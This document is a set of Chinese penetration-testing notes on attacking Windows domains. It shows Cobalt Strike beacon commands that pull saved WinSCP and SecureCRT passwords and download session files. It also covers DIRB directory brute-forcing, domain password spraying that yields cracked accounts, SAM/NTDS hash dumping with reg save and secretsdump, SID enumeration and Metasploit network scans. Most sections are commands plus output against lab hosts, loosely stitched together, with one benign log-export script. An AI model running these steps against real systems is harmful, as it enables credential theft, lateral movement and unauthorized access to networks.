默认情况下,Winscp配置会存储在Windows对应的注册表项下(包括了连接的IP、用户名、密码Hash)
HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Sessions\
具体解密过程
1.查看Winscp配置的Windows注册表(注册表项是固定的),如果有连接会话,再指定查询连接下所保存的密码Hash。
beacon> shell reg query "HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Sessions"
beacon> shell reg query "HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Sessions\[email protected]"
将查到的信息拷贝到本地的winscppwd.exe进行解密
2.RDP直接登录目标,导出Winscp配置文件,并下载到本地进行解密
前言
SecureCRT是运维人员常用的管理工具。但由于某些运维人员的安全意识不高,平时很可能会把SSH的连接密码都保存在里面,这就给了渗透人员可乘之机,为后续跨平台横向移动做了准备。而我们的主要目的是为了解密保存在SecureCRT中的这些SHH连接密码,并通过这种方式实现Windows到Linux之间的快速横向渗透。
所有操作全部在管理员权限下进行,解密脚本仅限于 SecureCRT 7.x 以下版本,高版本需要使用结尾处的方法。如果SecureCRT有启动密码,Config加密了,就不要搞了
确定目标SecureCRT的详细版本
想办法确定SecureCRT的详细版本,通过powershell脚本搞定,或者直接RDP登录连接查询等 「绿色版无安装记录」。发现目标所用的详细版本为 7.1.1(build 264)
beacon> powershell-import /Users/anonysec/ListInstalledPrograms.ps1
beacon> powershell Get-list
确定SecureCRT配置文件目录下的Sessions目录
默认情况下,SecureCRT的Config目录路径为:%APPDATA%\VanDyke\Config\Sessions\
如果无法确定路径,可以通过图形界面在SecureCRT菜单的全局选项中来确认
Sessions目录下的每个ini文件都会以连接的IP或域名来命名
beacon>shell dir %APPDATA%\VanDyke\Config\Sessions\
拷贝下载Sessions目录的ini文件
直接到Sessions目录下载ini文件可能会有问题(应该程序占用),即使下载下来,到本地可能无法解密。所以,先用Invoke-NinjaCopy.ps1脚本把ini文件先copy到其他目录,然后再去下载。
beacon> powershell-import /Users/anonysec/Invoke-NinjaCopy.ps1
beacon> powershell Invoke-NinjaCopy -Path "C:\Users\r00t\AppData\Roaming\VanDyke\Config\Sessions\192.168.144.128.ini" -LocalDestination "c:\windows\temp\192.168.144.128.ini"
beacon> shell dir c:\windows\temp\192.168.144.128.ini
beacon> download c:\windows\temp\192.168.144.128.ini
脚本解密Session
将下载的ini文件拷贝到本地,利用脚本进行解密。环境:python 2.7、pycrypto库。此处解密脚本仅限于 SecureCRT 7.x 以下的版本!
sudo pip2 install pycrypto
python SecureCRT-decryptpass.py 192.168.144.128.ini
SecureCRT高版本解决
如果目标的SecureCRT版本较高,无法进行解密该怎么办?此处以 8.5.3(X64 build 1867)为例,直接把对应%APPDATA%\VanDyke\Config\ 整个目录拷贝到本机SecureCRT的Config目录下,然后直接连接。
目标SecureCRT版本与本地版本需一致,否则可能会出现问题
Winscp:
ListInstalledPrograms.ps1
winscppwa.exe --目前无法连接
SecureCRT:
ListInstalledPrograms.ps1
Invoke-NinjaCopy.ps1
SecureCRT-decryptpass.py
https://www.freebuf.com/articles/web/220147.html --这篇集合了很多思路和方法
树上介绍了使用工具WebLogicPWV1.0.jar进行破解
这里如果进行config.xml获得hash破解密码,需要去两次密码…
1、windows系统日志的存储:
windows的系统日志存储在C:\WINDOWS\system32\config目录,文件后缀为evt。
2、导出工具:
使用dumpel.exe可以导出windows的系统日志。
dumpel.exe可以去微软官网下载,地址:http://support.microsoft.com/kb/927229。
下载后的dumpel.exe是个安装文件,安装完后可以在安装目录找到一个dumpel.exe,我们需要的是安装后的dumpel.exe。
3、导出脚本:
直接使用dumpel.exe不容易实现自动定期导出系统日志。所以需要编写个脚本。脚本内容:
//获得YYYYMMDD格式的当前时间
function getCurYYYYMMDD()
{
var today = new Date();
var year = today.getYear();
var month = today.getMonth() + 1;
if (month < 10) {
month = "0" + month;
}
var date = today.getDay();
if (date < 10)
{
date = "0" + date;
}
return year + "" + month + "" + date;
}
//补齐目录结尾的'\'
function makeDir(str)
{
if (str.charAt(str.length - 1) != '\\')
{
return str + "\\";
}
else
{
return str;
}
}
//处理命令行参数
var args = WScript.Arguments;
var days = 1;
var path = "";
var exepath = "";
for (i = 0; i < args.length; i++)
{
var a = args(i);
if (a.indexOf("-e") == 0)
{
exepath = a.substring(2, a.length);
}
if (a.indexOf("-p") == 0)
{
path = a.substring(2, a.length);
}
if (a.indexOf("-d") == 0)
{
days = a.substring(2, a.length);
}
}
//补齐目录结尾的'\'
exepath = makeDir(exepath);
path = makeDir(path);
//获取当前时间
var YYYYMMDD = getCurYYYYMMDD();
var YYYYMM = YYYYMMDD.substring(0, 6);
//判断按月存放的目录是否存在
var fso = new ActiveXObject("Scripting.FileSystemObject");
if (fso.FolderExists(path + YYYYMM) != true)
{
fso.CreateFolder(path + YYYYMM);
}
//执行程序,导出日志
var ws = new ActiveXObject("WScript.shell");
ws.run(exepath + "dumpel.exe /l" + " application" + " /f " + path + YYYYMM + "\\" + YYYYMMDD + "_app.xls /d " + days, 0, true);
ws.run(exepath + "dumpel.exe /l" + " security" + " /f " + path + YYYYMM + "\\" + YYYYMMDD + "_sec.xls /d " + days, 0, true);
ws.run(exepath + "dumpel.exe /l" + " system" + " /f " + path + YYYYMM + "\\" + YYYYMMDD + "_sys.xls /d " + days, 0, true);
4、执行命令:
cscript bak_win_log.js -eD:\Desktop -pD:\winlog -d7
使用windows的任务计划执行该命令就实现了定期导出。
*dumpel的安装目录里的dumpel_d.htm是使用说明
直接上看微软详情吧:
https://docs.microsoft.com/zh-cn/windows-server/administration/windows-commands/wevtutil
https://www.cnblogs.com/-zhong/p/11743489.html
https://wenku.baidu.com/view/c2e9139803d8ce2f006623ff.html?from=search --最详细的解释
DIRB官方地址: http://dirb.sourceforge.net/
简介(摘自官方原文):
DIRB is a Web Content Scanner. It looks for existing (and/or hidden) Web Objects. It basically works by launching a dictionary based attack against a web server and analizing the response.
介绍:
DIRB是一个基于命令行的工具,依据字典来爆破目标Web路径以及敏感文件,它支持自定义UA,cookie,忽略指定响应吗,支持代理扫描,自定义毫秒延迟,证书加载扫描等。是一款非常优秀的全方位的目录扫描工具。同样Kaili内置了dirb
攻击机:
192.168.1.104 Debian
靶机:
192.168.1.102 Windows 2003 IIS
普通爆破:
root@John:~/wordlist/small# dirb http://192.168.1.102 ./ASPX.txt
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
DIRB v2.22
By The Dark Raver
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
START_TIME: Sun Feb 17 23:26:52 2019
URL_BASE: http://192.168.1.102/
WORDLIST_FILES: ./ASPX.txt
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
GENERATED WORDS: 822
‐‐‐‐ Scanning URL: http://192.168.1.102/ ‐‐‐‐
+ http://192.168.1.102//Index.aspx (CODE:200|SIZE:2749)
+ http://192.168.1.102//Manage/Default.aspx (CODE:302|SIZE:203)
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
END_TIME: Sun Feb 17 23:26:56 2019
DOWNLOADED: 822 ‐ FOUND: 2
多字典挂载:
root@John:~/wordlist/small# dirb http://192.168.1.102 ./ASPX.txt,./DIR.txt
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
DIRB v2.22
By The Dark Raver
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
START_TIME: Sun Feb 17 23:31:02 2019
URL_BASE: http://192.168.1.102/
WORDLIST_FILES: ./ASPX.txt,./DIR.txt
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
GENERATED WORDS: 1975
‐‐‐‐ Scanning URL: http://192.168.1.102/ ‐‐‐‐
+ http://192.168.1.102//Index.aspx (CODE:200|SIZE:2749)
+ http://192.168.1.102//Manage/Default.aspx (CODE:302|SIZE:203)
+ http://192.168.1.102//bbs (CODE:301|SIZE:148)
+ http://192.168.1.102//manage (CODE:301|SIZE:151)
+ http://192.168.1.102//manage/ (CODE:302|SIZE:203)
+ http://192.168.1.102//kindeditor/ (CODE:403|SIZE:218)
+ http://192.168.1.102//robots.txt (CODE:200|SIZE:214)
+ http://192.168.1.102//Web.config (CODE:302|SIZE:130)
+ http://192.168.1.102//files (CODE:301|SIZE:150)
+ http://192.168.1.102//install (CODE:301|SIZE:152)
(!) FATAL: Too many errors connecting to host
(Possible cause: EMPTY REPLY FROM SERVER)
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
END_TIME: Sun Feb 17 23:31:06 2019
DOWNLOADED: 1495 ‐ FOUND: 10
自定义UA:
root@John:~/wordlist/small# dirb http://192.168.1.102 ./ASPX.txt ‐a "M
ozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
DIRB v2.22
By The Dark Raver
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
START_TIME: Sun Feb 17 23:34:51 2019
URL_BASE: http://192.168.1.102/
WORDLIST_FILES: ./ASPX.txt
USER_AGENT: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
GENERATED WORDS: 822
‐‐‐‐ Scanning URL: http://192.168.1.102/ ‐‐‐‐
+ http://192.168.1.102//Index.aspx (CODE:200|SIZE:2735)
+ http://192.168.1.102//Manage/Default.aspx (CODE:302|SIZE:203)
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
END_TIME: Sun Feb 17 23:34:54 2019
DOWNLOADED: 822 ‐ FOUND: 2
自定义cookie:
root@John:~/wordlist/small# dirb http://192.168.1.102/Manage ./DIR.txt
‐a "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.ht
ml)" ‐c "ASP.NET_SessionId=jennqviqmc2vws55o4ggwu45"
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
DIRB v2.22
By The Dark Raver
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
START_TIME: Sun Feb 17 23:53:08 2019
URL_BASE: http://192.168.1.102/Manage/
WORDLIST_FILES: ./DIR.txt
USER_AGENT: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.googl
e.com/bot.html)
COOKIE: ASP.NET_SessionId=jennqviqmc2vws55o4ggwu45
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
GENERATED WORDS: 1153
‐‐‐‐ Scanning URL: http://192.168.1.102/Manage/ ‐‐‐‐
+ http://192.168.1.102/Manage//include/ (CODE:403|SIZE:218)
+ http://192.168.1.102/Manage//news/ (CODE:403|SIZE:218)
+ http://192.168.1.102/Manage//include (CODE:301|SIZE:159)
+ http://192.168.1.102/Manage//images/ (CODE:403|SIZE:218)
+ http://192.168.1.102/Manage//sys/ (CODE:403|SIZE:218)
+ http://192.168.1.102/Manage//images (CODE:301|SIZE:158)
(!) FATAL: Too many errors connecting to host
(Possible cause: EMPTY REPLY FROM SERVER)
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
END_TIME: Sun Feb 17 23:53:10 2019
DOWNLOADED: 673 ‐ FOUND: 6
自定义毫秒延迟:
root@John:~/wordlist/small# dirb http://192.168.1.102/Manage ./DIR.txt
‐a "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.ht
ml)" ‐c "ASP.NET_SessionId=jennqviqmc2vws55o4ggwu45" ‐z 100
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
DIRB v2.22
By The Dark Raver
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
START_TIME: Sun Feb 17 23:54:29 2019
URL_BASE: http://192.168.1.102/Manage/
WORDLIST_FILES: ./DIR.txt
USER_AGENT: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.googl
e.com/bot.html)
COOKIE: ASP.NET_SessionId=jennqviqmc2vws55o4ggwu45
SPEED_DELAY: 100 milliseconds
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
GENERATED WORDS: 1153
‐‐‐‐ Scanning URL: http://192.168.1.102/Manage/ ‐‐‐‐
+ http://192.168.1.102/Manage//include/ (CODE:403|SIZE:218)
+ http://192.168.1.102/Manage//news/ (CODE:403|SIZE:218)
+ http://192.168.1.102/Manage//include (CODE:301|SIZE:159)
+ http://192.168.1.102/Manage//images/ (CODE:403|SIZE:218)
+ http://192.168.1.102/Manage//sys/ (CODE:403|SIZE:218)
+ http://192.168.1.102/Manage//images (CODE:301|SIZE:158)
(!) FATAL: Too many errors connecting to host
(Possible cause: EMPTY REPLY FROM SERVER)
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
END_TIME: Sun Feb 17 23:55:50 2019
DOWNLOADED: 673 ‐ FOUND: 6
其他更多有趣的功能:
DIRB v2.22
By The Dark Raver
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
dirb <url_base> [<wordlist_file(s)>] [options]
========================= NOTES =========================
<url_base> : Base URL to scan. (Use ‐resume for session resuming)
<wordlist_file(s)> : List of wordfiles. (wordfile1,wordfile2,wordfile3...)
======================== HOTKEYS ========================
'n' ‐> Go to next directory.
'q' ‐> Stop scan. (Saving state for resume)
'r' ‐> Remaining scan stats.
======================== OPTIONS ========================
‐a <agent_string> : Specify your custom USER_AGENT.
‐b : Use path as is.
‐c <cookie_string> : Set a cookie for the HTTP request.
‐E <certificate> : path to the client certificate.
‐f : Fine tunning of NOT_FOUND (404) detection.
‐H <header_string> : Add a custom header to the HTTP request.
‐i : Use case‐insensitive search.
‐l : Print "Location" header when found.
‐N <nf_code>: Ignore responses with this HTTP code.
‐o <output_file> : Save output to disk.
‐p <proxy[:port]> : Use this proxy. (Default port is 1080)
‐P <proxy_username:proxy_password> : Proxy Authentication.
‐r : Don't search recursively.
‐R : Interactive recursion. (Asks for each directory)
‐S : Silent Mode. Don't show tested words. (For dumb terminals)
‐t : Don't force an ending '/' on URLs.
‐u <username:password> : HTTP Authentication.
‐v : Show also NOT_FOUND pages.
‐w : Don't stop on WARNING messages.
‐X <extensions> / ‐x <exts_file> : Append each word with this extensions.
‐z <millisecs> : Add a milliseconds delay to not cause excessive Flood.
======================== EXAMPLES =======================
dirb http://url/directory/ (Simple Test)
dirb http://url/ ‐X .html (Test files with '.html' extension)
dirb http://url/ /usr/share/dirb/wordlists/vulns/apache.txt (Test wit hapache.txt wordlist)
dirb https://secure_url/ (Simple Test with SSL)
参考文章:
https://micro8.gitbook.io/micro8/contents-1/21-30/29-fa-xian-mu-biao-web-cheng-xu-min-gan-mu-lu-di-yi-ji
https://www.lshack.cn/642/
https://gitlab.com/Tomotoes/Micro8/-/blob/b7c284fdbb53ff8ee60acff92d5ebbf1559dfd92/第一百零一课:基于SCF做目标内网信息搜集第二季.pdf
感谢Micro8大佬退役最后给出的文章思路…
https://xz.aliyun.com/t/2354 --good
https://www.anquanke.com/post/id/199012
0x00 简介
在内网中的域环境下,获取域控的信息有很多种,但是在此之前都是以经验来判定的。
而MSDN文档的API从未接触过,因此想多扩展一下知识面。
地址:https://docs.microsoft.com/zh-cn/windows/desktop/api/_ad/
0x01 域用户的登录过程
参考:https://blog.csdn.net/jsd2honey/article/details/54340439
1、客户端发起net logon 服务会 运行DsGetDcName这个API。
2、DsGetDcName就会从客户端收集DNS和site的信息。
3、Net logon 会根据IP地址找到相应的DNS服务器,并发送一个 DNS Query的数据包,查询site内所有DC的SRV记录和A记录。
4、DNS 服务器会返回一个 response数据包,里面包含site内所有DC的一张表格。如果DNS服务器不返回这个数据包,那么locate DC就失败了。
5、然后客户端 的netlogon就根据这张表格给每台DC都发送一个 Query 数据包。如果有多台DC都给客户端返回response的数据包,那么客户端以最先返回 response 为准,即客户端成功locate 到这台DC。但是如果没有DC返回响应数据包,那么locate DC也会失败。
0x02 尝试学习API
微软有一个Example:https://docs.microsoft.com/zh-cn/windows/desktop/AD/enumerating-domain-controllers
准备花时间慢慢啃~
第一个API - DsGetDcName
DSGETDCAPI DWORD DsGetDcNameA(
IN LPCSTR ComputerName,
IN LPCSTR DomainName,
IN GUID *DomainGuid,
IN LPCSTR SiteName,
IN ULONG Flags,
OUT PDOMAIN_CONTROLLER_INFOA *DomainControllerInfo
);
关于参数的介绍都在文档中。
0x03 获取域控信息
我写了一个例子,获取域控的地址、GUID等信息,都保存在DomainControllerInfo
:
// ConsoleApplication1.cpp : 定义控制台应用程序的入口点。
//
#include "stdafx.h"
#include
#include
#include
#pragma comment(lib, "NetApi32.lib")
int main()
{
PDOMAIN_CONTROLLER_INFO dcInfo;
DWORD ret = DsGetDcName(
NULL,
NULL,
NULL,
NULL,
DS_KDC_REQUIRED,
&dcInfo
);
if (ret == ERROR_SUCCESS) {
GUID * dc_guid = &dcInfo->DomainGuid;
wprintf(L"DomainControllerName : %s \n ", dcInfo->DomainControllerName);
wprintf(L"DomainControllerAddress : %s \n ", dcInfo->DomainControllerAddress);
wprintf(L"DomainGuid : %x-%x-%x-%x \n", dc_guid->Data1, dc_guid->Data2, dc_guid->Data3, dc_guid->Data4);
NetApiBufferFree(dcInfo);
}
else {
wprintf(L"Error : %d \n ", GetLastError());
}
system("pause");
return 0;
}
PDOMAIN_CONTROLLER_INFO的信息都在这里:
其中要注意的是,DC的这些API都需要调用NetApi32.lib
,并且包含dsgetdc.h
:
参考文章:https://payloads.online/archivers/2019-04-12/1
感谢倾旋
0x00 前言
在进行Windows域渗透的时候,面对庞大的用户账号,不知该从何下手,扫描网络服务有怕搞出大动静,肿么办呢?
0x01 Powershell
目前已经有很多Powershell集合脚本,用于域渗透简直舒爽
今天推荐一款名字叫DomainPasswordSpray.ps1
的脚本,主要原理是先来抓取域用户账号,然后指定密码字典进行域认证。认证通过的就是密码正确的了。
GitHub项目地址:https://github.com/dafthack/DomainPasswordSpray
由于作者的脚本有一个小瑕疵,故此我改了一下,避免抛出了一些错误。
优化后的地址:http://payloads.online/scripts/Invoke-DomainPasswordSpray.txt
0x02 参数说明
在代码的开头就已经有介绍了,我简单汉化一下。
描述:该模块主要用于从域中收集用户列表。
参数: Domain
指定要测试的域名
参数: RemoveDisabled
尝试从用户列表删除禁用的账户
参数: RemovePotentialLockouts
删除锁定账户
参数: UserList
自定义用户列表(字典)。 如果未指定,这将自动从域中获取
参数: Password
指定单个密码进行口令测试
参数: PasswordList
指定一个密码字典
参数: OutFile
将结果保存到某个文件
参数: Force
当枚举出第一个后继续枚举,不询问
0x03 使用说明
使用例子:
C:\PS> Get-DomainUserList
该命令将从域中收集用户列表。
C:\PS> Get-DomainUserList -Domain 域名 -RemoveDisabled -RemovePotentialLockouts | Out-File -Encoding ascii userlist.txt
该命令将收集域“域名”中的用户列表,包括任何未被禁用且未接近锁定状态的帐户。 它会将结果写入“userlist.txt”文件中
C:\PS> Invoke-DomainPasswordSpray -Password Winter2016
该命令将会从域环境中获取用户名,然后逐个以密码Winter2016
进行认证枚举
C:\PS> Invoke-DomainPasswordSpray -UserList users.txt -Domain 域名 -PasswordList passlist.txt -OutFile sprayed-creds.txt
该命令将会从users.txt
中提取用户名,与passlist.txt
中的密码对照成一对口令,进行域认证枚举,登录成功的结果将会输出到sprayed-creds.txt
0x04 实战
获取域环境中的用户列表
命令:
C:\PS> Get-DomainUserList | Out-File -Encoding ascii userlist.txt
输出:
[*] Current domain is compatible with Fine-Grained Password Policy.
[*] Now creating a list of users to spray...
[*] There appears to be no lockout policy.
[*] There are 8 total users found.
[*] Created a userlist containing 8 users gathered from the current user's domain
获取的用户名:
C:\PS> type .\userlist.txt
Administrator
Guest
liyingzhe
krbtgt
Hack
testPass
webManager
dba
密码枚举
命令: C:\PS> Invoke-DomainPasswordSpray -Domain 域名 -Password w!23456 -OutFile sprayed-creds.txt
输出:
[*] Current domain is compatible with Fine-Grained Password Policy.
[*] Now creating a list of users to spray...
[*] There appears to be no lockout policy.
[*] Removing disabled users from list.
[*] There are 6 total users found.
[*] Removing users within 1 attempt of locking out from list.
[*] Created a userlist containing 6 users gathered from the current user's domain
[*] Password spraying has begun. Current time is 18:45
[*] This might take a while depending on the total number of users
1 of 6 users tested2 of 6 users tested3 of 6 users tested[*] SUCCESS! User:testPass Password:w!23456
4 of 6 users tested[*] SUCCESS! User:webManager Password:w!23456
5 of 6 users tested[*] SUCCESS! User:dba Password:w!23456
6 of 6 users tested[*] Password spraying is complete
[*] Any passwords that were successfully sprayed have been output to sprayed-creds.txt
枚举的结果:
C:\PS > type .\sprayed-creds.txt
testPass:w!23456
webManager:w!23456
dba:w!23456
参考文章:https://payloads.online/archivers/2018-05-02/1
感谢倾旋
书上介绍了DNS信息查询方法:
DNS Manager
Dnscmd
使用 Powershell进行dns信息查询
adidnsdump
SharpAdidnsdump
五种方法来获取不通环境下域dns信息,这里后期科补~~~
本篇文章讲述impacket套件内部分常用域、内网信息收集工具使用,将会用到的工具,secretsdump、lookupsid、 esentutl、ticketer
Secretsdump常用于本地、远程hash导出,具体使用方法如下:
在渗透测试工作中,为了躲避杀软等防护产品,dump目标机hash通常会进行以下操作。
C:\> reg.exe save hklm\sam c:\sam.save
C:\> reg.exe save hklm\security c:\security.save
C:\> reg.exe save hklm\system c:\system.save
以上三个注册表项解释:
SAM存储域用户或本地用户的数据,包括域用户组名或本机用户组、用户名及密码哈希等。
Security存储用户安全策略,存储域用户、本地用户登陆记录,缓存的登陆用户凭证,例如domain cache
system用来解密SAM和Security
之后使用secretsdump进行hash内容导出,具体方法如下:
1)本地hash导出
获取SAM中hash
secretsdump.py -sam sam.save -system system.save LOCAL
获取security.save中缓存的登陆用户凭证和LSA Secres
secretsdump.py -security security.save -system system.save LOCAL
获取sam security 中所有内容
secretsdump.py -sam sam.save -security security.save -system system.save LOCAL
2)域用户hash导出
域用户hash导出还需要NTDS.dit活动目录数据库文件,具体导出方法请查看gitbook《转储域账 户哈希值》
使用以下命令导出域所有用户hash
python secretsdump.py -ntds NTDS.dit -system SYSTEM LOCAL -outputfile
lol.hash
secretsdump.exe -ntds NTDS.dit -system temp_sys.hiv LOCAL-outputfile lol.hash
proxychains python secretsdump.py rootkit/administrator@192.168.x.x
3)远程导出hash
secretsdump还支持远程导岀hash,支持socks代理传输数据,需提供远程服务器管理员账号凭证,支持两种方式读取活动目录数据库,Vssadmin和DRSUAPI(Directory Replication Service API)远程目录复制协议api
secretsdump远程导出hash参数介绍
secretsdump.exe rootkit/administrator@192.168.x.x
使用 Vssadmin复制用户数据库文件的方式进行远程hash导出
secretsdump.exe rootkit/administrator@192.168.x.x -just-dc -use-vss
esentutl常用于从dit文件提取域内信息的工具,具体使用命令:
esentutl.exe NTDS.dit export-table datatable >log.txt
https://wh0ale.github.io/2018/12/25/2018-12-25-域渗透之票据/
可查看远程目标机器或域控所有用户内容(需提供域任意用户凭证)
lookupsid在读取远程机器用户信息时,同时会输出域SID,域SID是生成黄金票据所需数据。
lookupsid.py domain/user:password@ip
使用场景:当前内网环境有域环境,使用nbtscan或者nltest获取到域控的IP,但是没有域用户的账号密码
作用:使用 sid2user 和 user2sid 枚举猜测出域用户名,并通过弱口令获取域用户的权限
下载地址:
http://greatagain.dbappsecurity.com.cn/#/publicarea/tooldisk?path=412/2430
目前无法访问!
使用
user2sid.exe \\域控IP 域用户名
域里面域管默认为administrator用户,且sid为500
那么先通过administrator域管获取域用户的sid
user2sid.exe \\192.168.x.x administrator
得到域用户的sd为S-1-5-21-675002476-827761xxxx…
总结文章:
freebuf.com/sectool/175208.html
攻击机: 192.168.1.5 Debian
靶机: 192.168.1.2 Windows 7
192.168.1.119 Windows 2003
MSF的search支持type搜索:
msf > search scanner type:auxiliary
Matching Modules
================
Name Disclosure Date Rank Check Description
‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐ ‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐
auxiliary/admin/appletv/appletv_display_image normal No Apple TV Image Remote Control
auxiliary/admin/appletv/appletv_display_video normal No Apple TV Video Remote Control
auxiliary/admin/smb/check_dir_file normal Yes SMB Scanner CheckFile/Directory Utility
auxiliary/admin/teradata/teradata_odbc_sql 2018‐03‐29 normal Yes Teradata ODBC SQL Query Module
auxiliary/bnat/bnat_scan normal Yes BNAT Scanner
auxiliary/gather/citrix_published_applications normal No Citrix MetaFrame ICA Published Applications Scanner
auxiliary/gather/enum_dns normal No DNS Record Scanner and Enumerator
....
auxiliary/scanner/winrm/winrm_cmd normal Yes WinRM Command Runner
auxiliary/scanner/winrm/winrm_login normal Yes WinRM Login Utility
auxiliary/scanner/winrm/winrm_wql normal Yes WinRM WQL Query Runner
auxiliary/scanner/wproxy/att_open_proxy 2017‐08‐31 normal Yes Open WAN‐to‐LAN proxy on AT&T routers
auxiliary/scanner/wsdd/wsdd_query normal Yes WS‐Discovery Information Discovery
auxiliary/scanner/x11/open_x11 normal Yes X11 No‐Auth Scanner
第一季主要介绍 scanner 下的五个模块,辅助发现内网存活主机,分别为:
auxiliary/scanner/discovery/arp_sweep
auxiliary/scanner/discovery/udp_sweep
auxiliary/scanner/ftp/ftp_version
auxiliary/scanner/http/http_version
auxiliary/scanner/smb/smb_version
1、基于scanner/http/http_version发现HTTP服务
msf auxiliary(scanner/http/http_version) > show options
Module options (auxiliary/scanner/http/http_version):
Name Current Setting Required Description
‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐
Proxies no A proxy chain of format type:host:port[,type:host:port] [...]
RHOSTS 192.168.1.0/24 yes The target address range or CIDR identifier
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
THREADS 20 yes The number of concurrent threads
VHOST no HTTP server virtual host
msf auxiliary(scanner/http/http_version) > exploit
[+] 192.168.1.1:80
[*] Scanned 27 of 256 hosts (10% complete)
[*] Scanned 63 of 256 hosts (24% complete)
[*] Scanned 82 of 256 hosts (32% complete)
[*] Scanned 103 of 256 hosts (40% complete)
[+] 192.168.1.119:80 Microsoft‐IIS/6.0 ( Powered by ASP.NET )
[*] Scanned 129 of 256 hosts (50% complete)
[*] Scanned 154 of 256 hosts (60% complete)
[*] Scanned 182 of 256 hosts (71% complete)
[*] Scanned 205 of 256 hosts (80% complete)
[*] Scanned 231 of 256 hosts (90% complete)
[*] Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed
2、基于scanner/smb/smb_version发现SMB服务
msf auxiliary(scanner/smb/smb_version) > show options
Module options (auxiliary/scanner/smb/smb_version):
Name Current Setting Required Description
‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐
RHOSTS 192.168.1.0/24 yes The target address range or CIDR identifier
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
THREADS 20 yes The number of concurrent threads
msf auxiliary(scanner/smb/smb_version) > exploit
[+] 192.168.1.2:445 ‐ Host is running Windows 7 Ultimate SP1 (build:7601) (name:JOHN‐PC) (workgroup:WORKGROUP )
[*] Scanned 40 of 256 hosts (15% complete)
[*] Scanned 60 of 256 hosts (23% complete)
[*] Scanned 79 of 256 hosts (30% complete)
[+] 192.168.1.119:445 ‐ Host is running Windows 2003 R2 SP2 (build:3790) (name:WIN03X64)
[*] Scanned 103 of 256 hosts (40% complete)
[*] Scanned 128 of 256 hosts (50% complete)
[*] Scanned 154 of 256 hosts (60% complete)
[*] Scanned 181 of 256 hosts (70% complete)
[*] Scanned 206 of 256 hosts (80% complete)
[*] Scanned 231 of 256 hosts (90% complete)
[*] Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed
3、基于scanner/ftp/ftp_version发现FTP服务
msf auxiliary(scanner/ftp/ftp_version) > show options
Module options (auxiliary/scanner/ftp/ftp_version):
Name Current Setting Required Description
‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐
FTPPASS mozilla@example.com no The password for the specified username
FTPUSER anonymous no The username to authenticate as
RHOSTS 192.168.1.0/24 yes The target address range or CIDR identifier
RPORT 21 yes The target port (TCP)
THREADS 50 yes The number of concurrent threads
msf auxiliary(scanner/ftp/ftp_version) > exploit
[*] Scanned 51 of 256 hosts (19% complete)
[*] Scanned 52 of 256 hosts (20% complete)
[*] Scanned 100 of 256 hosts (39% complete)
[+] 192.168.1.119:21 ‐ FTP Banner: '220 Microsoft FTP Service\x0d\x0a'
[*] Scanned 103 of 256 hosts (40% complete)
[*] Scanned 133 of 256 hosts (51% complete)
[*] Scanned 183 of 256 hosts (71% complete)
[*] Scanned 197 of 256 hosts (76% complete)
[*] Scanned 229 of 256 hosts (89% complete)
[*] Scanned 231 of 256 hosts (90% complete)
[*] Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed
4、基于scanner/discovery/arp_sweep发现内网存活主机
msf auxiliary(scanner/discovery/arp_sweep) > show options
Module options (auxiliary/scanner/discovery/arp_sweep):
Name Current Setting Required Description
‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐
INTERFACE no The name of the interface
RHOSTS 192.168.1.0/24 yes The target address range or CIDR identifier
SHOST no Source IP Address
SMAC no Source MAC Address
THREADS 50 yes The number of concurrent threads
TIMEOUT 5 yes The number of seconds to wait for new data
msf auxiliary(scanner/discovery/arp_sweep) > exploit
[+] 192.168.1.1 appears to be up (UNKNOWN).
[+] 192.168.1.2 appears to be up (UNKNOWN).
[+] 192.168.1.119 appears to be up (VMware, Inc.).
